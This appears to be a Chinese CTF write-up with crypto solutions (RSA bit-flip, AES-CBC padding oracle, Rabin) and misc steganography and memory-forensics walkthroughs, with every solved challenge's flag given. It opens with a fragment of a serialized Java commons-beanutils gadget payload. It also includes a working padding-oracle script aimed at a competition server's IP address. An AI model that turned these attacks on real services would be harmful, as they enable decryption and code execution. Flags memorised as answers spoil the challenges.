q5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmJlYW51dGlscy5CZWFuQ29tcGFyYXRvcuOhiOpzIqRIAgACTAAKY29tcGFyYXRvcnEAfgAaTAAIcHJvcGVydHl0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyACpqYXZhLmxhbmcuU3RyaW5nJENhc2VJbnNlbnNpdGl2ZUNvbXBhcmF0b3J3A1x9XFDlzgIAAHhwdAAKY29ubmVjdGlvbncEAAAAAXQABW5pdmlhc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4eHNxAH4AIwAAAAJzcQB%2BAAI%2FQAAAAAAADHcIAAAAEAAAAAJxAH4ABHEAfgAbcQB%2BABhxAH4ABXhxAH4AJXg%3D

 

 

crypto

010101

将前半部分和后半部分分别异或1进行还原，最后得到p

from Crypto.Util.number import long_to_bytes

N = ***
p = ***
m = ***
p = str(p)
e = 65537
flag = False
print(len(p))
for j in range(len(p)):
    p2 = list(p)
    p2[j] = str(int(p[j]) ^ int('1'))  # 将p的第j位与1进行异或
    for i in range(j + 1, len(p)):  # 从p的第j+1位开始遍历
        p3 = list(p2)
        p3[i] = str(int(p[i]) ^ int('1'))  # 将p2的第i位与1进行异或
        if N % int(''.join(p3), 2) == 0:
            modified_p = int(''.join(p3), 2)
            flag = True
            break
    if flag:
        break
q = N // modified_p
phi = (modified_p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(m, d, N)))

# D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}

POA

不断构造IV并发送，接收解密结果，恢复AES CBC解密的中间值，最后与IV进行异或得到

from hashlib import sha256
import itertools
import socket
import string
from Crypto.Util.number import long_to_bytes, bytes_to_long


def proof(broke, Hash):
    assert len(broke) == 16 and len(Hash) == 64
    shaTable = string.ascii_letters + string.digits
    for ii in itertools.permutations(shaTable, 4):
        x = ''.join(ii)
        s = x + broke
        if sha256(s.encode()).hexdigest() == Hash:
            print(x)
            return x


def con():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('124.71.177.14', 10010))
    proof_data = sock.recv(2048)
    send_proof = (proof(proof_data[14:30].decode(), proof_data[32:96].decode())).encode()
    sock.recv(2048)
    sock.send(send_proof)
    data1 = sock.recv(2048)
    print(data1.decode())
    sock.send('1\n'.encode())
    cipher = sock.recv(4096).decode().split(' ')[-1]
    print(cipher)
    guess_iv = [0 for _ in range(16)]
    restore_midd = [0 for _ in range(16)]
    index = 1

    for i in range(15, -1, -1):
        for j in range(0, 256):
            sock.send('2'.encode())
            txt = sock.recv(4096).decode()
            guess_iv[i] = j
            mess = bytes(guess_iv).hex() + cipher[32:]
            sock.send(('%s\n' % mess).encode())
            result = sock.recv(4096).strip().decode()
            if result == 'True':
                print('find')
                restore_midd[i] = index ^ j
                for k in range(15, i - 1, -1):
                    guess_iv[k] = restore_midd[k] ^ (index + 1)
                break
        index += 1

    m = bytes_to_long(bytes(restore_midd)) ^ int(cipher[:32], 16)
    print(long_to_bytes(m))


if __name__ == '__main__':
    con()

Rabin

解方程恢复e1， e2
解RSA+RSA Rabin

from Crypto.Util.number import isPrime, long_to_bytes
from decimal import Decimal, getcontext
from sympy import *
import itertools
import gmpy2
getcontext().prec = 4096  # To get all digits


def quadratic(b, c):
    b, c = Decimal(b), Decimal(c)
    disc = b ** 2 - 4 * c
    return (-b + disc.sqrt()) / 2, (-b - disc.sqrt()) / 2


n = 250814637051807819966792611245960610922650272171774421100096725362876110354331644672361070288421932814011240278013930236506935606208856158245203226575206173399353228955646434946185162337249508916173886601690750176079643923598040239558820163968619858461299932945052867416892052800080380065469520552769729908237916948231811852512702334673059498173828710097943836553665421008502790227505238045663138503444330272778394062239358945912631242535901236920740968520395320695821881700272436374765803456467229511027996411612705127440152548517761802229692762942039810655711762857733655968843311390554894490989464889063115195307376546315206091850157113517967028388112696773322299195386885674487736953704278131208605733928620385647653506188387270203806469091593555942596009391614056683438954798377100513743826890914546813802825956772601161008749865452605755445313141047898707485333785540081269386385654187051443297745903924802393853636159179216465330611652590550085005018159338383332480775331023418636856327968211907
inv_p = 18572680482956333849695203716461713104773047923602099298094682396862191850514405358287530759577107822437397076448196882484810348534389142512538132336772660002619635584317411507556898261467535786390472312057865009529503815275471152631242674775023579999529144217652870406017527500924054906365970316171601724395
inv_q = 136535048380593205200147274200607623672178047616047871024461976135751463050074132537068629202262492753981526789311501011207084603084500046237452580036584406621193450044354252290673799669278685039786072212806149907642025392079172459205884032545048534994511661271942133535933734878627347694553081776269463131011
c1 = 24438369699277358577099809092522666507794264940897211362396512304628436041222873422281052071040304574363510205249804316939250072085516605409716236630122437693098107965690357983662511641360852519159201210407149426013456665654927559031576450707769140579811457087575821158806216834589419118616293649134570029348864168061503995325421166403367212784956918879123538609647020213238539717446246806658900303124564032457968947891973269315221759825010175759282900948586059414233078011374547085622341941301930819816001572766834718060688545069956096308661744521329011217013954462888420216389590625029416601914841651975749769319907679957725817987535287875463052512829357180018005408137318173906769605861407680810593420749995979362702366940275048900413734250464314983304164277188084351968745605375769912296693849464371792448471466297537539956183639108372537896814803224393949374263943947266927232857089835606620154448584587895531774998281005520646293399213187296591877953310626414259916310440526985379452834140797344
c2 = 223295770243896926174824405932791118562132019446137106707499244470470652130983482933886296317979962549790414754161520435096091469226090668617978924038597496895109870016050016361204593776094886916554978524328312654899592058243030170843460725094455369392386666825873918339575610780772636586002747595613558066320125773587684070090772498121214867506696972158540355910065773892648404521506595636503850295827650330993678348250267770526157595871258640949265795928803796357149879172931040916773382169296914793584970211453674931039251561404963603173087988508276297347805041885971003956420812510128302146772371481501739596756529250961807845809297176387467035756066576014695851369095199182667219429449627072080517064563211041402250659878953388165820020061897516163246110562240123389210713625152448308461232879889286613844389367421303837747532095262647017908028398324773681913209915202010758289748837739798240683937739276900417861582443180262419471329076908687714213527415105489215148326758425520069134366726191206
r = 2
while True:
    r = r * 8
    if r.bit_length() > 1024 and isPrime(r - 1):
        r = r - 1
        break
print(int(r))
pq = n // r

k1k2 = inv_p * inv_q - 1
alpha_times_beta = k1k2 * pq
alpha_plus_beta = pq * inv_p * inv_q - 1 - k1k2 * pq
e1 = 2
e2 = 5
alpha, beta = quadratic(-alpha_plus_beta, alpha_times_beta)
p = gcd(pq, int(alpha))
q = gcd(pq, int(beta))
assert p * q == pq
p, q = symbols("p q")
eq1 = Eq(inv_p * p + inv_q * q - pq - 1, 0)
eq2 = Eq(p * q, pq)
sol = solve((eq1, eq2), (p, q))
print(sol)
p = int(155067211748080035817706240824444294173177315452053655302198450440797223063993902553854738130782449160496432645166392115875035577949847055717925643946457912682751338169862368227051614666060761234405201526539028698479896781769397552330889288635473271948706547821980919655770653459515096024615873307927376930323)
q = int(155406237257371285686734630614272846342794427544939674750800108880031404165544180838277971813657235395399719426255865993550582439955633684106295486647395174391393520922781711164275517262754514023537536287360365851886349215688978809822032291068515106418115813510512126616124030805066436158518403149436994756207)
print(isPrime(p), p)
print(isPrime(q), q)
print(isPrime(r))
phi = (p - 1) * (q - 1) * (r - 1)
print(phi)
d2 = gmpy2.invert(e2, phi)
m2 = pow(c2, d2, n)
print(long_to_bytes(m2))
mp = pow(c1, (p + 1) // 4, p)
mq = pow(c1, (q + 1) // 4, q)
mr = pow(c1, (r + 1) // 4, r)

bp = n // p
bq = n // q
br = n // r
ap = pow(bp, -1, p)
aq = pow(bq, -1, q)
ar = pow(br, -1, r)

for sp, sq, sr in itertools.product((-1, 1), repeat=3):
    m = (sp * ap * bp * mp + sq * aq * bq * mq + sr * ar * br * mr) % n
    m = long_to_bytes(m)
    if b"D0g3" in m:
        print(m)

misc

dacongのsecret

得到一个压缩包和一个png

用工具或者脚本提取一下水印得到密码

得到一个password的d@C0ng 1s cUt3!!!
根据题目提示推出png不止一个秘密
继续用pngcheck打开dacong1hao.png

发现在尾部的idat头不对
010打开
找到有两个IDATx
直接手动搜索IDATx把第一部分IDATx删掉

保存后得到如下图片

爆破一下宽高得到key

wH1T3_r0cckEt_sh00ter
猜测可能是后边用到的
用前边水印的密码打开压缩包得到一张jpg
用010打开末尾有一串hex值

根据特征判断是一个压缩包的hex值倒序
手动提取出来打开发现需要密码
正好用之前的key解开
得到一串base64密文
由于有很多行base
猜测可能是base64隐写
用以下脚本跑出base64隐写的数据

d='''str
'''
e=d.splitlines()
binstr=""
base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for i in e :
    if i.find("==")>0:
        temp=bin((base64.find(i[-3])&15))[2:]
        #取倒数第3个字符，在base64找到对应的索引数（就是编码数），取低4位，再转换为二进制字符
        binstr=binstr + "0"*(4-len(temp))+temp #二进制字符补高位0后，连接字符到binstr
    elif i.find("=")>0:
        temp=bin((base64.find(i[-2])&3))[2:] #取倒数第2个字符，在base64找到对应的索引数（就是编码数），取低2位，再转换为二进制字符
        binstr=binstr + "0"*(2-len(temp))+temp #二进制字符补高位0后，连接字符到binstr
str=""
for i in range(0,len(binstr),8):
    str=str+chr(int(binstr[i:i+8],2)) #从左到右，每取8位转换为ascii字符，连接字符到字符串
print(str) 

得到一个pass
m1ku_1s_sha_fufu123

最后用该秘密通过jphs解出得到flag

打开得到flag

flag{d@C0ng_1s_r3@lIy_Re@iLY_Cute}

 

dacongのWindows

由于win10可能不怎么兼容vol2，需要制作profile，所以建议使用vol3解题

首先文件检索一下关键词wav，可以发现有很多的wav，暂时先放着
继续搜索一下txt关键词

这里找到两个关键的txt，先dump下来看下

先打开看一下do_you_want_listen

do_you_want_liten.txt里提示了miku有一首歌叫做’???music‘
搜索一下歌名可以知道歌曲叫做39music!

结合文件名以及该txt所在的位置猜测是对之前的wav提示
那么把dacong39.wav下载出来

打开听一下是sstv
那么手机打开robot36得到第一段flag

flag{Ar3_Th3Y
然后这里笨B出题人做镜像忘记把winrar打开了
但是也可以通过rar关键词找到一个rar

一样dump下来
解压后是flag2

根据翻译推测可能是snow加密

直接解一下，发现是无密码的snow

得到第二段flag
_tHE_Dddd
然后回头看之前的flag3

是一串加密，但是结合题目的描述，有什么重要的表被修改，猜测需要密钥
在注册表里找到

解一下是aes
得到第三段flag

dAc0Ng_SIst3Rs???}
flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs???}

 

 

疯狂的麦克斯

麦克斯的称号这个文件存在0宽隐写
解密得到 mks007
打开嗨.zip，存在一个docx文件，可以直接改后缀为zip，也可以Binwalk分离出来，这里就存在一个 MKS IM麦克斯.txt这个文件
打开txt文件得到

翻到最下面有

凭这里看出应该是某种加密
结合前面的mks007，可能是凯撒偏移
尝试将mks007转换为整数，进行凯撒偏移，得到THISISMKSDOYOUKNOWWHOAMI
(预期外：通过维吉尼亚解密，密钥为e，通过rot13，为22)
此时对整个文档进行偏移

def caesar_decipher(text, shift):
    result = ""

    for char in text:
        if char.isalpha():
            alphabet = ord('a') if char.islower() else ord('A')
            shifted = (ord(char) - alphabet - shift) % 26  # 逆向偏移
            result += chr(alphabet + shifted)
        else:
            result += char

    return result

# 读取加密后的文件内容
with open('MKS.txt', 'r') as file:
    encrypted_content = file.read()

# 自定义偏移量
offset = "mks007"

# 将偏移量转换为整数
shift = sum(ord(char) for char in offset) - len(offset) * ord('a')

# 对内容进行逆向凯撒偏移
decrypted_content = caesar_decipher(encrypted_content, shift)

# 将解密后的内容写入新文件
with open('mksnew.txt', 'w') as file:
    file.write(decrypted_content)

此时作用于文件所有内容，然后根据麦克斯MAX遍历出其中最大值，得到456788P。
虽然好像都是通过直接爆破得来的，不过也能爆破，也算是一种解
FLAG的密码就是456788P base64后的
NDU2Nzg4UA==
D0g3{Th1s_REA11Y_MAX_F1A4_GGB0ND}

 

Nahida

题目给一个压缩包
里面有一个txt文件和一个Nahida文件
其中txt仅作为提示(wink眨眼睛，和眼睛有关)，并没有藏东西
查看另一个文件

可以看到是FF D8 FF E0倒过来的，所以写脚本进行倒置
Nahida是通过脚本加密的，原文件为一个jpg文件，通过对hex进行分组前后交换得到
故写解密脚本

def swap_positions(hex_string):
    # 将每两位进行位置交换
    swapped = ''.join([hex_string[i+1] + hex_string[i] for i in range(0, len(hex_string), 2)])

    return swapped

def decrypt_image_hex(encrypted_image_path):
    # 打开加密的文件
    with open(encrypted_image_path, 'rb') as file:
        encrypted_data = file.read()

    # 将加密的字节数据转换为16进制字符串
    encrypted_hex = encrypted_data.hex()

    # 组间交换位置
    swapped_hex = swap_positions(encrypted_hex[::-1])

    # 组内交换位置
    grouped_hex = [swap_positions(swapped_hex[i:i+2]) for i in range(0, len(swapped_hex), 2)]

    # 将16进制字符串转换回字节数据
    decrypted_data = bytes.fromhex(''.join(grouped_hex))

    # 生成解密后的文件
    decrypted_image_path = 'decrypted_image.jpg'
    with open(decrypted_image_path, 'wb') as decrypted_file:
        decrypted_file.write(decrypted_data)

    return decrypted_image_path

# 测试解密函数
encrypted_image_path = 'test.jpg'  # 替换为加密图片的路径
decrypted_image_path = decrypt_image_hex(encrypted_image_path)
print("解密后的文件路径:", decrypted_image_path)

得到jpg，在图片的最后看到一串字符串，

提示 神之眼(再次提示静默之眼)，以及眼的密码在最开始就得到，也就是题目名Nahida
d0g3{Nahida_is_the_best_in_the_world!}

 

原文链接地址：https://dce.i-soon.net/#/group/detail/31